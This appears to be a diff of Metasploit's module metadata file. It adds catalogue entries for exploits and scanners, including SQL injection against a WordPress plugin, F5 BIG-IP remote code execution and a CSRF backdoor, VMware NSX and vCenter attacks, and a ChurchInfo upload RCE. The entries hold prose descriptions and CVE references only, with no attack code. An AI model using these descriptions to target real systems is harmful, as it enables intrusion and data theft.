||||
"Grant Willcox"
|
||||
],
|
||||
"description": "This module allows users to query a LDAP server for vulnerable certificate\n templates and will print these certificates out in a table along with which\n attack they are vulnerable to and the SIDs that can be used to enroll in that\n certificate template.\n\n Additionally the module will also print out a list of known certificate servers\n along with info about which vulnerable certificate templates the certificate server\n allows enrollment in and which SIDs are authorized to use that certificate server to\n perform this enrollment operation.\n\n Currently the module is capable of checking for ESC1, ESC2, and ESC3 vulnerable certificates.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 389,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-12-07 10:48:07 +0000",
|
||||
"path": "/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/ldap_esc_vulnerable_cert_finder",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/ldap_hashdump": {
|
||||
"name": "LDAP Information Disclosure",
|
||||
"fullname": "auxiliary/gather/ldap_hashdump",
|
||||
@@ -19744,7 +19791,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-10-24 13:58:27 +0000",
|
||||
"mod_time": "2022-12-04 17:41:24 +0000",
|
||||
"path": "/modules/auxiliary/gather/ldap_query.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/ldap_query",
|
||||
@@ -21891,6 +21938,66 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/wp_bookingpress_category_services_sqli": {
|
||||
"name": "Wordpress BookingPress bookingpress_front_get_category_services SQLi",
|
||||
"fullname": "auxiliary/gather/wp_bookingpress_category_services_sqli",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2022-02-28",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"cydave",
|
||||
"destr4ct",
|
||||
"jheysel-r7"
|
||||
],
|
||||
"description": "The BookingPress WordPress plugin before 1.0.11 fails to properly sanitize user supplied data\n in the `total_service` parameter of the `bookingpress_front_get_category_services` AJAX action\n (available to unauthenticated users), prior to using it in a dynamically constructed SQL query.\n As a result, unauthenticated attackers can conduct an SQL injection attack to dump sensitive\n data from the backend database such as usernames and password hashes.\n\n This module uses this vulnerability to dump the list of WordPress users and their associated\n email addresses and password hashes for cracking offline.",
|
||||
"references": [
|
||||
"URL-https://github.com/destr4ct/CVE-2022-0739",
|
||||
"WPVDB-388cd42d-b61a-42a4-8604-99b812db2357",
|
||||
"CVE-2022-0739"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-11-15 09:08:38 +0000",
|
||||
"path": "/modules/auxiliary/gather/wp_bookingpress_category_services_sqli.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/wp_bookingpress_category_services_sqli",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/wp_ultimate_csv_importer_user_extract": {
|
||||
"name": "WordPress Ultimate CSV Importer User Table Extract",
|
||||
"fullname": "auxiliary/gather/wp_ultimate_csv_importer_user_extract",
|
||||
@@ -31586,7 +31693,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-09-02 11:41:27 +0000",
|
||||
"mod_time": "2022-11-07 12:23:59 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/manageengine_desktop_central_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/manageengine_desktop_central_login",
|
||||
@@ -34270,7 +34377,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-01-23 15:28:32 +0000",
|
||||
"mod_time": "2022-12-04 17:41:24 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/smt_ipmi_static_cert_scanner",
|
||||
@@ -34670,95 +34777,6 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/http/ssl": {
|
||||
"name": "HTTP SSL Certificate Information",
|
||||
"fullname": "auxiliary/scanner/http/ssl",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"et <et@metasploit.com>",
|
||||
"Chris John Riley",
|
||||
"Veit Hailperin <hailperv@gmail.com>"
|
||||
],
|
||||
"description": "Parse the server SSL certificate to obtain the common name and signature algorithm",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/ssl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/ssl",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/http/ssl_version": {
|
||||
"name": "HTTP SSL/TLS Version Detection (POODLE scanner)",
|
||||
"fullname": "auxiliary/scanner/http/ssl_version",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2014-10-14",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"todb <todb@metasploit.com>"
|
||||
],
|
||||
"description": "Check if an HTTP server supports a given version of SSL/TLS.\n\n If a web server can successfully establish an SSLv3 session, it is\n likely to be vulnerable to the POODLE attack described on\n October 14, 2014, as a patch against the attack is unlikely.",
|
||||
"references": [
|
||||
"URL-https://security.googleblog.com/2014/10/this-poodle-bites-exploiting-ssl-30.html",
|
||||
"OSVDB-113251",
|
||||
"CVE-2014-3566"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-01-23 15:28:32 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/ssl_version.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/ssl_version",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/http/support_center_plus_directory_traversal": {
|
||||
"name": "ManageEngine Support Center Plus Directory Traversal",
|
||||
"fullname": "auxiliary/scanner/http/support_center_plus_directory_traversal",
|
||||
@@ -35150,6 +35168,62 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/http/syncovery_linux_login": {
|
||||
"name": "Syncovery For Linux Web-GUI Login Utility",
|
||||
"fullname": "auxiliary/scanner/http/syncovery_linux_login",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Jan Rude"
|
||||
],
|
||||
"description": "This module will attempt to authenticate to Syncovery File Sync & Backup Software For Linux Web-GUI.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "",
|
||||
"rport": 8999,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-09-16 13:34:06 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/syncovery_linux_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/syncovery_linux_login",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/http/synology_forget_passwd_user_enum": {
|
||||
"name": "Synology Forget Password User Enumeration Scanner",
|
||||
"fullname": "auxiliary/scanner/http/synology_forget_passwd_user_enum",
|
||||
@@ -35454,7 +35528,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-01-23 15:28:32 +0000",
|
||||
"mod_time": "2022-11-27 15:35:34 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/tomcat_mgr_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/tomcat_mgr_login",
|
||||
@@ -45985,7 +46059,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-07-19 14:47:39 +0000",
|
||||
"mod_time": "2022-10-15 16:42:30 +0000",
|
||||
"path": "/modules/auxiliary/scanner/smb/impacket/wmiexec.py",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/smb/impacket/wmiexec",
|
||||
@@ -47079,7 +47153,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-01-23 15:28:32 +0000",
|
||||
"mod_time": "2022-11-01 14:22:49 +0000",
|
||||
"path": "/modules/auxiliary/scanner/snmp/snmp_enum.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/snmp/snmp_enum",
|
||||
@@ -47159,7 +47233,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-11-01 14:22:49 +0000",
|
||||
"path": "/modules/auxiliary/scanner/snmp/snmp_enumshares.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/snmp/snmp_enumshares",
|
||||
@@ -47197,7 +47271,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-11-01 14:22:49 +0000",
|
||||
"path": "/modules/auxiliary/scanner/snmp/snmp_enumusers.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/snmp/snmp_enumusers",
|
||||
@@ -48101,6 +48175,67 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/ssl/ssl_version": {
|
||||
"name": "SSL/TLS Version Detection",
|
||||
"fullname": "auxiliary/scanner/ssl/ssl_version",
|
||||
"aliases": [
|
||||
"auxiliary/scanner/http/ssl",
|
||||
"auxiliary/scanner/http/ssl_version"
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2014-10-14",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"todb <todb@metasploit.com>",
|
||||
"et <et@metasploit.com>",
|
||||
"Chris John Riley",
|
||||
"Veit Hailperin <hailperv@gmail.com>",
|
||||
"h00die"
|
||||
],
|
||||
"description": "Check if a server supports a given version of SSL/TLS and cipher suites.\n\n The certificate is stored in loot, and any known vulnerabilities against that\n SSL version and cipher suite combination are checked. These checks include\n POODLE, deprecated protocols, expired/not valid certs, low key strength, null cipher suites,\n certificates signed with MD5, DROWN, RC4 ciphers, exportable ciphers, LOGJAM, and BEAST.",
|
||||
"references": [
|
||||
"URL-https://security.googleblog.com/2014/10/this-poodle-bites-exploiting-ssl-30.html",
|
||||
"CVE-2014-3566",
|
||||
"URL-https://www.openssl.org/~bodo/ssl-poodle.pdf",
|
||||
"URL-https://datatracker.ietf.org/doc/rfc8996/",
|
||||
"URL-https://datatracker.ietf.org/doc/html/rfc6176",
|
||||
"URL-https://datatracker.ietf.org/doc/html/rfc7568",
|
||||
"URL-https://www.win.tue.nl/hashclash/rogue-ca/",
|
||||
"CWE-328",
|
||||
"URL-https://drownattack.com/",
|
||||
"CVE-2016-0800",
|
||||
"CVE-2011-3389",
|
||||
"URL-http://www.isg.rhul.ac.uk/tls/",
|
||||
"CVE-2013-2566",
|
||||
"CVE-2015-4000",
|
||||
"CVE-2022-3358",
|
||||
"CWE-319",
|
||||
"CWE-298",
|
||||
"CWE-327",
|
||||
"CWE-326"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-11-05 07:23:14 +0000",
|
||||
"path": "/modules/auxiliary/scanner/ssl/ssl_version.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/ssl/ssl_version",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/steam/server_info": {
|
||||
"name": "Gather Steam Server Information",
|
||||
"fullname": "auxiliary/scanner/steam/server_info",
|
||||
@@ -50988,7 +51123,7 @@
|
||||
"author": [
|
||||
"RageLtMan <rageltman@sempervictus>"
|
||||
],
|
||||
"description": "This module provides a Rex based DNS service which can store static entries,\n resolve names over pivots, and serve DNS requests across routed session comms.\n DNS tunnels can operate across the the Rex switchboard, and DNS other modules\n can use this as a template. Setting static records via hostfile allows for DNS\n spoofing attacks without direct traffic manipulation at the handlers. handlers\n for requests and responses provided here mimic the internal Rex functionality,\n but utilize methods within this module's namespace to output content processed\n in the Proc contexts via vprint_status.",
|
||||
"description": "This module provides a Rex based DNS service which can store static entries,\n resolve names over pivots, and serve DNS requests across routed session comms.\n DNS tunnels can operate across the Rex switchboard, and DNS other modules\n can use this as a template. Setting static records via hostfile allows for DNS\n spoofing attacks without direct traffic manipulation at the handlers. handlers\n for requests and responses provided here mimic the internal Rex functionality,\n but utilize methods within this module's namespace to output content processed\n in the Proc contexts via vprint_status.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -51002,7 +51137,7 @@
|
||||
"dns"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-03-09 13:31:46 +0000",
|
||||
"mod_time": "2022-12-04 17:41:24 +0000",
|
||||
"path": "/modules/auxiliary/server/dns/native_server.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "server/dns/native_server",
|
||||
@@ -61820,6 +61955,125 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800": {
|
||||
"name": "F5 BIG-IP iControl Authenticated RCE via RPM Creator",
|
||||
"fullname": "exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-11-16",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Ron Bowes"
|
||||
],
|
||||
"description": "This module exploits a newline injection into an RPM .rpmspec file\n that permits authenticated users to remotely execute commands.\n\n Successful exploitation results in remote code execution\n as the root user.",
|
||||
"references": [
|
||||
"CVE-2022-41800",
|
||||
"URL-https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/",
|
||||
"URL-https://support.f5.com/csp/article/K97843387",
|
||||
"URL-https://support.f5.com/csp/article/K13325942"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Default"
|
||||
],
|
||||
"mod_time": "2022-11-23 10:42:07 +0000",
|
||||
"path": "/modules/exploits/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622": {
|
||||
"name": "F5 BIG-IP iControl CSRF File Write SOAP API",
|
||||
"fullname": "exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-11-16",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Ron Bowes"
|
||||
],
|
||||
"description": "This module exploits a cross-site request forgery (CSRF) vulnerability\n in F5 Big-IP's iControl interface to write an arbitrary file to the\n filesystem.\n\n While any file can be written to any location as root, the\n exploitability is limited by SELinux; the vast majority of writable\n locations are unavailable. By default, we write to a script that\n executes at reboot, which means the payload will execute the next time\n the server boots.\n\n An alternate target - Login - will add a backdoor that executes next\n time a user logs in interactively. This overwrites a file,\n but we restore it when we get a session\n\n Note that because this is a CSRF vulnerability, it starts a web\n server, but an authenticated administrator must visit the site, which\n redirects them to the target.",
|
||||
"references": [
|
||||
"CVE-2022-41622",
|
||||
"URL-https://github.com/rbowes-r7/refreshing-soap-exploit",
|
||||
"URL-https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/",
|
||||
"URL-https://support.f5.com/csp/article/K97843387",
|
||||
"URL-https://support.f5.com/csp/article/K94221585",
|
||||
"URL-https://support.f5.com/csp/article/K05403841"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Restart",
|
||||
"Login",
|
||||
"Custom"
|
||||
],
|
||||
"mod_time": "2022-11-18 16:18:25 +0000",
|
||||
"path": "/modules/exploits/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/http/flir_ax8_unauth_rce_cve_2022_37061": {
|
||||
"name": "FLIR AX8 unauthenticated RCE",
|
||||
"fullname": "exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061",
|
||||
@@ -62757,7 +63011,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2021-08-27 17:15:33 +0000",
|
||||
"mod_time": "2022-12-04 17:41:24 +0000",
|
||||
"path": "/modules/exploits/linux/http/gravcms_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/gravcms_exec",
|
||||
@@ -69803,6 +70057,72 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144": {
|
||||
"name": "VMware NSX Manager XStream unauthenticated RCE",
|
||||
"fullname": "exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-10-25",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"h00die-gr3y",
|
||||
"Sina Kheirkhah",
|
||||
"Steven Seeley"
|
||||
],
|
||||
"description": "VMware Cloud Foundation (NSX-V) contains a remote code execution vulnerability via XStream open source library.\n VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8.\n Due to an unauthenticated endpoint that leverages XStream for input serialization in VMware Cloud Foundation (NSX-V),\n a malicious actor can get remote code execution in the context of 'root' on the appliance.\n VMware Cloud Foundation 3.x and more specific NSX Manager Data Center for vSphere up to and including version 6.4.13\n are vulnerable to Remote Command Injection.\n\n This module exploits the vulnerability to upload and execute payloads gaining root privileges.",
|
||||
"references": [
|
||||
"CVE-2021-39144",
|
||||
"URL-https://www.vmware.com/security/advisories/VMSA-2022-0027.html",
|
||||
"URL-https://kb.vmware.com/s/article/89809",
|
||||
"URL-https://srcincite.io/blog/2022/10/25/eat-what-you-kill-pre-authenticated-rce-in-vmware-nsx-manager.html",
|
||||
"URL-https://attackerkb.com/topics/ngprN6bu76/cve-2021-39144"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x86, x64",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Unix (In-Memory)",
|
||||
"Linux Dropper"
|
||||
],
|
||||
"mod_time": "2022-11-12 10:21:43 +0000",
|
||||
"path": "/modules/exploits/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/vmware_vcenter_analytics_file_upload": {
|
||||
"name": "VMware vCenter Server Analytics (CEIP) Service File Upload",
|
||||
"fullname": "exploit/linux/http/vmware_vcenter_analytics_file_upload",
|
||||
@@ -70928,7 +71248,7 @@
|
||||
"targets": [
|
||||
"Zimbra Collaboration Suite"
|
||||
],
|
||||
"mod_time": "2022-10-19 10:02:29 +0000",
|
||||
"mod_time": "2022-11-23 13:09:47 +0000",
|
||||
"path": "/modules/exploits/linux/http/zimbra_cpio_cve_2022_41352.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/zimbra_cpio_cve_2022_41352",
|
||||
@@ -71058,7 +71378,7 @@
|
||||
"targets": [
|
||||
"Zimbra Collaboration Suite"
|
||||
],
|
||||
"mod_time": "2022-08-17 10:19:36 +0000",
|
||||
"mod_time": "2022-12-06 15:07:28 +0000",
|
||||
"path": "/modules/exploits/linux/http/zimbra_unrar_cve_2022_30333.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/zimbra_unrar_cve_2022_30333",
|
||||
@@ -73847,7 +74167,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2022-10-08 09:50:25 +0000",
|
||||
"mod_time": "2022-11-25 15:13:57 +0000",
|
||||
"path": "/modules/exploits/linux/local/polkit_dbus_auth_bypass.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/polkit_dbus_auth_bypass",
|
||||
@@ -73959,7 +74279,7 @@
|
||||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2021-02-17 12:33:59 +0000",
|
||||
"mod_time": "2022-11-12 16:19:50 +0000",
|
||||
"path": "/modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/ptrace_traceme_pkexec_helper",
|
||||
@@ -74676,7 +74996,7 @@
|
||||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2022-10-03 16:53:14 +0000",
|
||||
"mod_time": "2022-12-01 14:34:09 +0000",
|
||||
"path": "/modules/exploits/linux/local/ubuntu_enlightenment_mount_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/ubuntu_enlightenment_mount_priv_esc",
|
||||
@@ -74857,6 +75177,66 @@
|
||||
],
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/local/vcenter_java_wrapper_vmon_priv_esc": {
|
||||
"name": "VMware vCenter vScalation Priv Esc",
|
||||
"fullname": "exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 0,
|
||||
"disclosure_date": "2021-09-21",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"h00die",
|
||||
"Yuval Lazar"
|
||||
],
|
||||
"description": "This module exploits a privilege escalation in vSphere/vCenter due to improper permissions on the\n /usr/lib/vmware-vmon/java-wrapper-vmon file. It is possible for anyone in the\n cis group to write to the file, which will execute as root on vmware-vmon service\n restart or host reboot.\n\n This module was successfully tested against VMware VirtualCenter 6.5.0 build-7070488.\n The following versions should be vulnerable:\n vCenter 7.0 before U2c\n vCenter 6.7 before U3o\n vCenter 6.5 before U3q",
|
||||
"references": [
|
||||
"URL-https://pentera.io/blog/vscalation-cve-2021-22015-local-privilege-escalation-in-vmware-vcenter-pentera-labs/",
|
||||
"CVE-2021-22015",
|
||||
"URL-https://www.vmware.com/security/advisories/VMSA-2021-0020.html"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "x86, x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2022-12-01 14:55:43 +0000",
|
||||
"path": "/modules/exploits/linux/local/vcenter_java_wrapper_vmon_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/vcenter_java_wrapper_vmon_priv_esc",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-service-down"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"config-changes",
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"AKA": [
|
||||
"vScalation"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/local/vmware_alsa_config": {
|
||||
"name": "VMware Workstation ALSA Config File Local Privilege Escalation",
|
||||
"fullname": "exploit/linux/local/vmware_alsa_config",
|
||||
@@ -83723,6 +84103,67 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/churchinfo_upload_exec": {
|
||||
"name": "ChurchInfo 1.2.13-1.3.0 Authenticated RCE",
|
||||
"fullname": "exploit/multi/http/churchinfo_upload_exec",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2021-10-30",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"m4lwhere <m4lwhere@protonmail.com>"
|
||||
],
|
||||
"description": "This module exploits the logic in the CartView.php page when crafting a draft email with an attachment.\n By uploading an attachment for a draft email, the attachment will be placed in the /tmp_attach/ folder of the\n ChurchInfo web server, which is accessible over the web by any user. By uploading a PHP attachment and\n then browsing to the location of the uploaded PHP file on the web server, arbitrary code\n execution as the web daemon user (e.g. www-data) can be achieved.",
|
||||
"references": [
|
||||
